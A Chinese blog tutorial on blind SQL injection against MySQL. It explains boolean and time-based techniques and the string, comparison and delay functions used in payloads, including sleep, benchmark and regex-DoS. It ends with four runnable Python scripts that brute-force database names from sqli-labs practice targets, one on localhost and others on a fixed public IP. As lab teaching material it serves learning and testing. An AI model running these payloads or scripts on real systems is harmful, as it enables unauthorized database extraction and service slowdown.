🏆今日学习目标:
🍀学习sql注入之盲注操作
✅创作者:贤鱼
⏰预计时间:25分钟
==⚠盲注内容较多,可能需要花费一些时间==
布尔盲注
原理
存在sql注入漏洞的地方,但是不会会先数据,只能看到是否执行成功,这样子就不能通过注入数据回显了,就需要盲注,盲注对一个数据多次测试
举个例子
如果"库名"第一个字母是a,就回显“查询成功”,反之“查询失败”;
如果"库名"第一个字母是b,就回显“查询成功”,反之“查询失败”;
如果"库名"第一个字母是c,就回显“查询成功”,反之“查询失败”;
如果"库名"第一个字母是d,就回显“查询成功”,反之“查询失败”;
......
如果"库名"第一个字母是z,就回显“查询成功”,反之“查询失败”;
......
名字可能由任何字符组成,我们如果匹配上了,就把他记录下来,一位一位的比较,就可以获得我们要的数据了
==当然,如果手动比较,电脑和我的手一定会炸掉一个==
所以我们需要写脚本,在后文会介绍到。
布尔盲注payload构造步骤
确定注入点,找到回显不同,例如:内容不同或者http头部不同
我们该如何构造语句呢?
举个栗子
SELECT name, mojority FROM student WHERE student_id = '0' or substr((QUERY),1,1) = 'a'
SELECT name, mojority FROM student WHERE student_id = =='0' or substr((QUERY),1,1) = 'a'==
这个部分就是我们需要构造的部分
构造语句的两个重点:
字符串如何截取
比较结果是否相等
所以盲注就相当于把注入内容一位一位拆开然后比较内容,最后比较出啥输出啥,然后将比较到的每一位字符都输出就是我们的答案了
截取字符串
substr()
使用方法:
substr(要截取的字符串,从哪一位开始,截取多长)
例如
select substr((select database()),1,1);
mid
用法和substr完全相同!!可以互相绕过过滤
rigth()
使用方法
right(要截取的字符串,截取长度)
表示截取字符串右边几位
==注意:==
配合ascii/ord一起使用,这两个函数是返回传入字符串的首字母的ASCII码
使用方法:
ascii((right(要截取的字符串,x)))
返回的内容是从右往左x位的ascii码
举个栗子
select ascii(right((select database()), 2));
left()
使用方法:
left(要截取的字符串,截取长度)
表示截取字符串左边第几位
==注意:==
配合reverse()+ascii/ord使用,用法和上面类似
举个栗子:
elect ascii(reverse(left((select database()), 2));
regexp
使用方法:
binary 目标字符串 regexp 正则
判断一个字符串是否匹配一个正则表达式
举个栗子:
select (select database()) regexp binary '^sec'
rlike
用法和regexp雷同
trim
trim(leading 'a' from 'abcd')
表示移除句首a,会返回abc,如果将from前的a改成b,则会返回abcd
insert
用法
insert(字符串,起始位置,长度,替换成什么)
字符串定位函数
INSTR(str,substr)–> 返回字符串 str 中子字符串的第一个出现位置,否则为0
FIND_IN_SET(str,strlist)–> 返回字符串 str 中子字符串的第一个出现位置,否则为0
LOCATE(substr,str,pos)–> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置
在pos。如若substr 不在str中,则返回值为0
POSITION(substr IN str)–> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串
substr 在 str 中不存在,返回值为 0
用法: locate(substr, str, pos) 字符串 str中子字符串substr的第一个出现位置, 起始位置在
pos。如若substr 不在str中,则返回值为0。
比较
=<>
我觉得不需要讲。。。
rlike/regexp
上文有讲,==截取+比较==结合体
between
用法
expr between 下界 and 上界
意思是是否expr>=下界 &&expr<=上界
in
用法
expr0 in(expr0,expr1,expr2)
and,or减法运算
可以用一个 true 去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
ASCII码:
SELECT 1 AND ascii("a")-97;
可以用一个 false 去或运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
ASCII码:
SELECT 0 OR ascii("a")-97;
脚本
import requests
req = requests.session()
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*
()-=_+`[]{}\\|;:\'",./<>?'
url = "http://47.94.236.172:18080/Less-8/"
result = ""
query = "database()"
payload = "-1' or ascii(substr(({query}),{pos},1))={c}#"
# payload = "1' and if(ascii(insert((insert({query}, 1,
{pos},'')),2,9999999,''))={c},1,0)#"
for i in range(1, 50):
for j in chars:
data = {'id': payload.format(query=query, pos=i, c=ord(j))}
resp = req.get(url, params=data) #GET:params=data POST:data=data
# print(resp.url)
# print(resp.text)
if "You are in" in resp.text:
result += j
print(result)
break
print('end...')
print(result)
这里还提供另一种方法:==二分法==
import requests
url = 'http://47.94.236.172:18080/Less-8/'
result = ''
query = "select group_concat(SCHEMA_name) from information_schema.schemata"
payload = "-1' or ascii(substr(({query}),{pos},1))>{c}#"
req = requests.session()
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
data = {"id": payload.format(query=query, pos=x, c=mid)}
resp = requests.get(url, params=data) #GET:params=data POST:data=data
# print(resp.url)
if 'You are in' in resp.text: #
low = mid + 1
else:
high = mid
mid = (low + high) // 2
# print(mid)
result += chr(int(mid))
print(result)
print("end.......")
print(result)
时间盲注
原理
有那么一种可能,查询成功失败返回的都一样,那么我们就无法通过返回结果看比较是否成功了,这时候就需要从裤裆里掏出时间盲注了!!!
介绍下原理:
如果"数据库名"的第1个字母是a,你就睡眠5秒,否则就直接回显
如果"数据库名"的第1个字母是b,你就睡眠5秒,否则就直接回显
......
如果"数据库名"的第2个字母是a,你就睡眠5秒,否则就直接回显
如果"数据库名"的第2个字母是b,你就睡眠5秒,否则就直接回显
如果"数据库名"的第2个字母是c,你就睡眠5秒,否则就直接回显
......
后面以此类推
时间盲注payload步骤
和上文布尔盲注差不多,只不过在构造条件语句时关注==延时操作==而不是返回值了
条件语句构造
往上翻,啥都有
补充一下
and
如果and前为真,执行后面内容
(condition) AND sleep(5)
or
如果前面为假才执行后面
!(condition) OR sleep(5)
延时操作
这里还是要写一下
sleep
意思是休眠指定事件后继续
栗子:
SELECT if(ascii(substr((QUERY),8,1))=121,sleep(5),0);
benchmark
用法
benchmark(执行次数,执行什么)
栗子:
SELECT benchmark(10000000,sha1('test'));
笛卡尔积延时
==注意==当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;
SELECT count(*) FROM information_schema.columns A,
information_schema.columns B, information_schema.columns C;
正则dos延时
原理:
通过费时正则匹配操作消耗时间
栗子:
select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE
concat(repeat('(a.*)+',30),'b');
脚本
==期不期待==
同样给到两个方法:
import requests
url = 'http://localhost/sqli-labs/Less-8/'
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*
()-=_+`[]{}\\|;:\'",./<>?'
query = "database()"
payload = "1' and if(ascii(substr(({query})),{pos},1))={c},sleep(10),0)#"
result = ''
req = requests.session()
for i in range(1, 50):
for j in chars:
data = {'id': payload.format(query=query, pos=i, c=ord(j))}
try:
resp = requests.get(url, params=data, timeout=5) #GET:params=dataPOST:data=data
print(resp.url)
except requests.Timeout:
result += j
print(result)
break
print('end...')
print(result)
二分法
import requests
url = 'http://47.94.236.172:18080/Less-9/'
result = ''
query = "database()"
payload = "1' and if(ascii(substr(({query}),{pos},1))>{c},sleep(10),0)#"
req = requests.session()
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
data = {"id": payload.format(query=query, pos=x, c=mid)}
try:
resp = requests.get(url, params=data, timeout=5) #GET:params=data POST:data=data
print(resp.url)
except requests.Timeout:
low = mid + 1
mid = (low + high) // 2
# print(data)
continue
high = mid
mid = (low + high) // 2
# print(mid)
result += chr(int(mid))
print(result)
print("end.......")
print(result)
报错盲注
用法和延时盲注基本一致,但是可以用来绕过过滤延时盲注的关键字
原理
原理就是比较条件为真时,通过调用产生错误的函数
if(condition,报错,不报错)
🏆结束语
==如果有需要可以订阅专栏,持续更新!==
==让我们下期再见!!==